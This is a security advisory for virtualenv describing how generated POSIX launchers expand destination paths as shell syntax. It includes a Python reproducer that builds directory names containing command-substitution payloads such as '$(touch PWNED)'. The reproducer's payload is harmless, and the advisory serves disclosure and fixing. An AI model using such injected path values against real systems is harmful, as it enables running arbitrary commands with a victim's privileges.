virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

Attack sequence

sequenceDiagram
    participant A as Destination supplier
    participant V as virtualenv seeder
    participant D as distlib ScriptMaker
    participant S as Generated bin/pip
    participant U as User
    A->>V: path contains $(touch PWNED)
    V->>D: pass interpreter path with incomplete shell quoting
    D->>S: write /bin/sh wrapper
    Note over V,S: no payload runs during creation or activation
    U->>S: pip --version
    S->>S: shell expands path and runs touch
    S-->>U: PWNED appears with user's privileges

Reproducer files

The following files are from the scanner report for ANT-2026-5DZVLGL1. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import shutil
import subprocess
from pathlib import Path

WORK = Path("/tmp/repro-console-script")

# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).
DIRECTORY_NAMES = {
    "CONTROL": "my -touch PWNED- project",
    "OBSERVED": "my $(touch PWNED) project",
    # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes
    "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)",
}

shutil.rmtree(WORK, ignore_errors=True)
pip_printed = {}
created_by_pip = {}
for label, name in DIRECTORY_NAMES.items():
    # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory
    cwd = WORK / label / "cwd"
    venv = WORK / label / name / "venv"
    cwd.mkdir(parents=True)

    # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)
    subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True)
    assert list(cwd.iterdir()) == [], "environment creation must not have created anything"

    # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own
    pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True)
    pip_printed[label] = pip.stdout
    created_by_pip[label] = sorted(p.name for p in cwd.iterdir())

    launcher = (venv / "bin" / "pip").read_text().splitlines()
    print(f"{label}: directory name {name!r}")
    print(f"  bin/pip line 1: {launcher[0]}")
    print(f"  bin/pip line 2: {launcher[1]}")
    print(f"  bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}")
    print(f"  files bin/pip created in the working directory: {created_by_pip[label]}")

# check: a directory name is data; starting pip must run pip and nothing else
control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == []
attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"]
print("BUG" if control_ok and attack_ran else "OK")

Fix scope and remaining exposure

PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The pip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes. It does not modify pip's vendored distlib.

A later independent pip installation or upgrade can replace a corrected launcher with an affected one. Existing launchers are not repaired by upgrading virtualenv alone. Recreate environments with the corrected virtualenv to regenerate them, and use trusted destination paths. Recreation does not protect launchers subsequently rewritten by pip. The follow-up review reports reproduction through the previous pip seeder and after a pip upgrade; those results are attributed to the reviewer.

Impact

Running an affected launcher can execute commands with the calling user's privileges. Classification: high, CVSS 7.8, CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, following the project's generated-script precedent. The vector assumes attacker-controlled path data and a user invoking the resulting launcher. No prior victim privileges are required; successful command execution can affect the user's data and processes.

Versions tested

The maintainer confirmed validation of the reported findings on release 21.14.8. The subsequent review records reproduction on unfixed upstream/main; the affected launcher integration and dependency declarations are unchanged from 21.14.8. The first affected release has not been established. Fixed in 21.14.9.

Known mitigation

Use an environment destination chosen by a trusted user. For older releases, avoid generating environments at destinations derived from untrusted input.

Affected release

• The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-5DZVLGL1.